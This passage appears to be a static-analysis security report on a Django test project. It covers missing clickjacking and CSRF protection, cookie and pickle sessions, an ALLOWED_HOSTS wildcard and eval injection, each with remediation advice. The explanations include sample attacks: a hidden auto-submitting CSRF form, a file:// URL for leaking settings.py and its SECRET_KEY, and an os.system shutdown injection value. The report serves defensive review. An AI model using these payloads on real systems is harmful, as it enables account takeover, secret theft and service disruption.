[1] SESSION_COOKIE_SECURE documentation Django Foundation Group (https://docs.djangoproject.com/en/1.8/ref/settings/#std:setting-SESSION_COOKIE_SECURE)
[2] Standards Mapping - Common Weakness Enumeration CWE ID 614
[3] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001184, CCI-002418, CCI-002420, CCI-002421, CCI-002422
[4] Standards Mapping - FIPS200 CM, SC
[5] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[6] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-8 Transmission Confidentiality and Integrity (P1)
[7] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-8 Transmission Confidentiality and Integrity
[8] Standards Mapping - OWASP Top 10 2004 A10 Insecure Configuration Management
[9] Standards Mapping - OWASP Top 10 2007 A9 Insecure Communications
[10] Standards Mapping - OWASP Top 10 2010 A9 Insufficient Transport Layer Protection
[11] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure

[12] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[13] Standards Mapping - OWASP Mobile 2014 M4 Unintended Data Leakage
[14] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements, 3.2.3 Session Binding Requirements, 3.4.1 Cookie-based Session Management, 6.2.1 Algorithms, 8.1.6 General Data Protection
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 4.1, Requirement 6.5.3
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 4.1, Requirement 6.3.1.4, Requirement 6.5.7, Requirement 6.5.9
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 4.1, Requirement 6.5.4
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 4.1, Requirement 6.5.4, Requirement 6.5.10
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 4.1, Requirement 6.5.4, Requirement 6.5.10
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 4.1, Requirement 6.5.4, Requirement 6.5.10
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 4.1, Requirement 6.5.4, Requirement 6.5.10
[22] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 6.2 - Sensitive Data Protection, Control Objective 7 - Use of Cryptography
[23] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 6.2 - Sensitive Data Protection, Control Objective 7 - Use of Cryptography
[24] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002230 CAT I, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002230 CAT I, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002230 CAT I, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470

CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002230 CAT I, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002230 CAT I, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002230 CAT I, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002230 CAT I, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002230 CAT I, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002230 CAT I, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002230 CAT I, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002230 CAT I, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002230 CAT I, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[43] Standards Mapping - Web Application Security Consortium 24 + 2 Insufficient Authentication, Insufficient Session Expiration
[44] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Authentication (WASC-01), Insufficient Transport Layer Protection (WASC-04)

Cross-Frame Scripting

Description

Failure to restrict inclusion of an application within an iframe can lead to cross-site request forgery or phishing attacks.

Explanation

Cross-frame scripting vulnerabilities occur when an application:

1. Allows itself to be included inside an iframe. 2. Fails to specify framing policy via the X-Frame-Options header. 3. Uses poor protection, such as JavaScript-based frame busting logic.

Cross-frame scripting vulnerabilities often form the basis of clickjacking exploits that attackers may use to conduct cross-site request Forgery or phishing attacks.

Severity

Medium

Vulnerabilities

File tests\Cross_Frame_Scripting.py, Line 1, Pos 1

```
MIDDLEWARE = [
```

File tests\Privacy_Violation__BREACH.py, Line 1, Pos 1

```
MIDDLEWARE_CLASSES = (
```

Recommendations

- Django: set X-Frame-Options for all responses - add 'django.middleware.clickjacking.XFrameOptionsMiddleware' to MIDDLEWARE

Links

[1] OWASP Cross Frame Scripting (https://www.owasp.org/index.php/Cross_Frame_Scripting)
[2] OWASP Clickjacking (https://www.owasp.org/index.php/Clickjacking)
[3] OWASP Clickjacking Defense Cheat Sheet
(https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking_Defense_Cheat_Sheet.html)
[4] Clickjacking Protection (https://docs.djangoproject.com/en/dev/ref/clickjacking/)
[5] Standards Mapping - Common Weakness Enumeration CWE ID 1021
[6] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-001941, CCI-001942
[7] Standards Mapping - FIPS200 SI
[8] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[9] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-23 Session Authenticity (P1)
[10] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-23 Session Authenticity
[11] Standards Mapping - OWASP Top 10 2004 A10 Insecure Configuration Management
[12] Standards Mapping - OWASP Application Security Verification Standard 4.0 14.4.3 HTTP Security Headers Requirements, 14.4.7 HTTP Security Headers Requirements
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.6
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.6
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.6
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.6
[17] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection

[18] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection
[19] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002500 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002500 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002500 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002500 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002500 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002500 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002500 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002500 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002500 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002500 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002500 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002500 CAT II
[31] Standards Mapping - Web Application Security Consortium Version 2.00 Server Misconfiguration (WASC-14)

Cross-Site Request Forgery

Description

The Django application does not enable the CSRF middleware protection

Explanation

A cross-site request forgery (CSRF) vulnerability occurs when: 1. A Web application uses session cookies. 2. The application acts on an HTTP request without verifying that the request was made with the user's consent.

A nonce is a cryptographic random value that is sent with a message to prevent replay attacks. If the request does not contain a nonce that proves its provenance, the code that handles the request is vulnerable to a CSRF attack (unless it does not change the state of the application). This means a Web application that uses session cookies has to take special precautions in order to ensure that an attacker can't trick users into submitting bogus requests. Imagine a Web application that allows administrators to create new accounts by submitting this form:

```
    <form method="POST" action="/new_user" >
    Name of new user: <input type="text" name="username">
    Password for new user: <input type="password" name="user_passwd">
    <input type="submit" name="action" value="Create User">
    </form>
```

An attacker might set up a Web site with the following:

```
    <form method="POST" action="http://www.example.com/new_user">
    <input type="hidden" name="username" value="hacker">
    <input type="hidden" name="user_passwd" value="hacked">
    </form>
    <script>
        document.usr_form.submit();
    </script>
```

If an administrator for example.com visits the malicious page while she has an active session on the site, she will unwittingly create an account for the attacker. This is a CSRF attack. It is possible because the application does not have a way to determine the provenance of the request. Any request could be a legitimate action chosen by the user or a faked action set up by an attacker. The attacker does not get to see the Web page that the bogus request generates, so the attack technique is only useful for requests that alter the state of the application.

Applications that pass the session identifier in the URL rather than as a cookie do not have CSRF problems because there is no way for the attacker to access the session identifier and include it as part of the bogus request.

Severity

High

Vulnerabilities

File tests\Cross_Site_Request_Forgery.py, Line 1, Pos 1

```
1 MIDDLEWARE = [
```

Recommendations

● Django: enable CSRF middleware for all responses - add 'django.middleware.csrf.CsrfViewMiddleware' to MIDDLEWARE

Links

[1] A. Klein Divide and Conquer: HTTP Response Splitting, Web Cache Poisoning Attacks, and Related Topics (http://www.packetstormsecurity.org/papers/general/whitepaper_httpresponse.pdf)
[2] Standards Mapping - Common Weakness Enumeration CWE ID 352
[3] Standards Mapping - Common Weakness Enumeration Top 25 2019 [9] CWE ID 352
[4] Standards Mapping - Common Weakness Enumeration Top 25 2020 [9] CWE ID 352
[5] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-001941, CCI-001942
[6] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[7] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-23 Session Authenticity (P1)

[8] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-23 Session Authenticity
[9] Standards Mapping - OWASP Top 10 2007 A5 Cross Site Request Forgery (CSRF)
[10] Standards Mapping - OWASP Top 10 2010 A5 Cross-Site Request Forgery (CSRF)
[11] Standards Mapping - OWASP Top 10 2013 A8 Cross-Site Request Forgery (CSRF)
[12] Standards Mapping - OWASP Mobile 2014 M5 Poor Authorization and Authentication
[13] Standards Mapping - OWASP Application Security Verification Standard 4.0 3.5.3 Token-based Session Management, 4.2.2 Operation Level Access Control, 13.2.3 RESTful Web Service Verification Requirements
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.5.5
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.9
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.9
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.9
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.9
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.9
[20] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 5.4 - Authentication and Access Control
[21] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 5.4 - Authentication and Access Control
[22] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 352
[23] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 352
[24] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 352
[25] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3585 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3585 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3585 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3585 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3585 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3585 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3585 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002500 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002500 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002500 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002500 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002500 CAT II

[37] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002500 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002500 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002500 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002500 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002500 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002500 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002500 CAT II
[44] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Request Forgery
[45] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Request Forgery (WASC-09)

Django Bad Practices: Cookie Stored Sessions

Description

Cookie-based sessions are not invalidated when a user logs out. If an attacker were to find, steal, or intercept a user's cookie they could impersonate the user even if that user had logged out.

Explanation

Storing session data in Cookies presents several problems:

1. Cookie-based sessions are not invalidated when a user logs out. If an attacker were to find, steal, or intercept a user's cookie they could impersonate the user even if that user had logged out.

2. Session cookies are signed to avoid tampering and guarantee the authenticity of the data, but it will not prevent replay attacks.

3. The session data will be stored using Django's tools for cryptographic signing and the SECRET_KEY setting. If the SECRET_KEY is leaked, an attacker cannot only falsify session data, but if application uses Pickle to serialize session data into cookies, an attacker will be able to craft malicious pickled data that will execute arbitrary code upon deserialization.

4. The session data is signed but not encrypted. This means that attackers will be able to read the session data but not modify it.

5. The cookie size and serialization process can pose a performace problem depending on site load.

Severity

Medium

Vulnerabilities

File tests\Django_Bad_Practices__Cookie_Stored_Sessions.py, Line 1, Pos 1

```
SESSION_ENGINE = "django.contrib.sessions.backends.signed_cookies"
```

Recommendations

- Set reasonable max age for the cookie - less than 2 weeks (default)
- Set HttpOnly flag for the cookie

Links

[1] Django Foundation Using cookie-based sessions (https://docs.djangoproject.com/en/dev/topics/http/sessions/#using-cookie-based-sessions)
[2] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001185
[3] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-23 Session Authenticity (P1)
[5] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-23 Session Authenticity
[6] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002240 CAT I
[7] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002240 CAT I
[8] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002240 CAT I
[9] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002240 CAT I
[10] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002240 CAT I
[11] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002240 CAT I
[12] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002240 CAT I
[13] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002240 CAT I
[14] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002240 CAT I
[15] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002240 CAT I
[16] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002240 CAT I
[17] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002240 CAT I
[18] Standards Mapping - Web Application Security Consortium Version 2.00 Application Misconfiguration (WASC-15)

Django Bad Practices: Overly Broad Host Header Verification

Description

Not validating the Host header can allow an attacker to send a fake Host value that can be used for Cross-Site Request Forgery, cache poisoning attacks, and poisoning links in emails.

Explanation

The Django applications settings specifies "*" as an entry in the ALLOWED_HOSTS setting. This setting is used by django.http.HttpRequest.get_host() to validate the Host header. A value of "*" will allow any host in the Host header. An attacker may use this in cache poisoning attacks or for poisoning links in emails.

Example 1: An application offers a reset password feature where users can submit some kind of unique value to identify themselves (eg: email address) and then a password reset email will be sent with a link to a page to set up a new password. The link sent to the user can be constructed using the Host value to reference the site that serves the reset password feature in order to avoid hardcoded URLs. For example:

```
...
def reset_password(request):
    url = "http://%s/new_password/?token=%s" % (request.get_host(), generate_tok
en())
    send_email(reset_link=url)
    redirect("home")
...
```

An attacker may try to reset a victim's password by submitting the victim's email and a fake Host header value pointing to a server he controls. The victim will receive an email with a link to the reset password system and if he decides to visit the link, she will be visiting the attacker-controlled site which will serve a fake form to collect the victim's credentials.

Severity

Medium

Vulnerabilities

File tests\Django_Bad_Practices__Overly_Broad_Host_Header_Verification.py, Line 1, Pos 1

```
ALLOWED_HOSTS = ["something.com", "*"]
```

Recommendations

- Do not use "*" value for the list of allowed hosts - explicitly specify list of domain names

Links

[1] Django Foundation Host header validation
(https://docs.djangoproject.com/en/dev/topics/security/#host-header-validation)
[2] Django Foundation ALLOWED_HOSTS
(https://docs.djangoproject.com/en/dev/ref/settings/#allowed-hosts)
[3] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[4] Standards Mapping - Web Application Security Consortium Version 2.00 Application Misconfiguration (WASC-15)

Django Bad Practices: Pickle Serialized Sessions

Description

Pickle-serialized sessions can lead to remote code execution if attackers can control session data.

Explanation

If cookie-based sessions are used and SECRET_KEY is leaked, an attacker will be able to store arbitrary data in the session cookie which will be deserialized in the server leading to arbitrary code execution.

If cookie-based sessions are used, take extra care to make sure that the secret key is always kept completely secret, for any system which might be remotely accessible.

Example 1: The following view method allows an attacker to steal the SECRET_KEY if it is hardcoded in settings.py configuration file:

```
...
def some_view_method(request):
    url = request.GET['url']
    if "http://" in url:
    content = urllib.urlopen(url)
    return HttpResponse(content)
...
```

Example 1 method checks that the url parameter is a valid URL by checking that "http://" is present in the URL. A malicious attacker may send the following URL to leak the settings.py configuration file that may contain the SECRET_KEY:

```
file://proc/self/cwd/app/settings.py#http://
```

Note: "/proc/self/cwd" in UNIX systems points to the process working directory. This allow attackers to reference files without knowing the exact location.

Severity

Medium

Vulnerabilities

File tests\Django_Bad_Practices__Pickle_Serialized_Sessions.py, Line 1, Pos 1

```
1 SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'
```

File tests\Django_Bad_Practices__Pickle_Serialized_Sessions.py, Line 6, Pos 1

```
6 signing.loads(value, serializer=serializers.PickleSerializer)
```

Recommendations

- Use django.contrib.sessions.serializers.JSONSerializer instead

Links

[1] Django Foundation Session serialization (https://docs.djangoproject.com/en/1.8/topics/http/sessions/#session-serialization)
[2] Erik Romijn Proof of concept: arbitrary remote code execution through pickle-backed cookie-based sessions (http://erik.io/blog/2013/04/26/proof-of-concept-arbitrary-remote-code-execution-pickle-sessions/)
[3] Balda Python web frameworks and pickles (http://www.balda.ch/posts/2013/Jun/23/python-web-frameworks-pickle/)
[4] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[5] Standards Mapping - Web Application Security Consortium Version 2.00 Application Misconfiguration (WASC-15)

Dynamic Code Evaluation: Code Injection

Description

Interpreting user-controlled instructions at run-time can allow attackers to execute malicious code.

Explanation

Many modern programming languages allow dynamic interpretation of source instructions. This capability allows programmers to perform dynamic instructions based on input received from the user. Code injection vulnerabilities occur when the programmer incorrectly assumes that instructions supplied directly from the user will perform only innocent operations, such as performing simple calculations on active user objects or otherwise modifying the user's state. However, without proper validation, a user might specify operations the programmer does not intend.

Example: In this classic code injection example, the application implements a basic calculator that allows the user to specify commands for execution.

```
...
userOps = request.GET['operation']
result = eval(userOps)
...
```

The program behaves correctly when the operation parameter is a benign value, such as "8 + 7 * 2", in which case the result variable is assigned a value of 22. However, if an attacker specifies operations that are both valid and malicious, those operations would be executed with the full privilege of the parent process. Such attacks are even more dangerous when the underlying language provides access to system resources or allows execution of system commands. For example, if an attacker were to specify " os.system('shutdown -h now')" as the value of operation, a shutdown command would be executed on the host system.

Severity

High

Vulnerabilities

File tests\Dynamic_Code_Evaluation__Code_Injection.py, Line 2, Pos 1

```
2 eval(something)
```

Recommendations

- If possible, refactor your code so that it does not need to use eval() at all.
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Links

[1] Standards Mapping - Common Weakness Enumeration CWE ID 95, CWE ID 494
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [18] CWE ID 094
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [17] CWE ID 094
[4] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001764, CCI-001774, CCI-002754
[5] Standards Mapping - FIPS200 SI
[6] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[7] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[8] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[9] Standards Mapping - OWASP Top 10 2004 A6 Injection Flaws
[10] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[11] Standards Mapping - OWASP Top 10 2010 A1 Injection
[12] Standards Mapping - OWASP Top 10 2013 A1 Injection
[13] Standards Mapping - OWASP Top 10 2017 A1 Injection
[14] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[15] Standards Mapping - OWASP Application Security Verification Standard 4.0 1.14.2 Configuration Architectural Requirements, 5.2.4 Sanitization and Sandboxing Requirements, 5.2.5 Sanitization and Sandboxing Requirements, 5.2.8 Sanitization and Sandboxing Requirements, 5.3.6 Output Encoding and Injection Prevention Requirements, 5.5.4 Deserialization Prevention Requirements, 10.3.2 Deployed Application Integrity Controls, 12.3.3 File Execution Requirements, 14.2.3 Dependency
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.6

[17] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[23] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[24] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[25] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 116, Risky Resource Management - CWE ID 094
[26] Standards Mapping - SANS Top 25 2010 Risky Resource Management - CWE ID 494
[27] Standards Mapping - SANS Top 25 2011 Risky Resource Management - CWE ID 494
[28] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3570 CAT I
[29] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3570 CAT I
[30] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3570 CAT I
[31] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3570 CAT I
[32] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3570 CAT I
[33] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3570 CAT I
[34] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3570 CAT I
[35] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I

[40] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
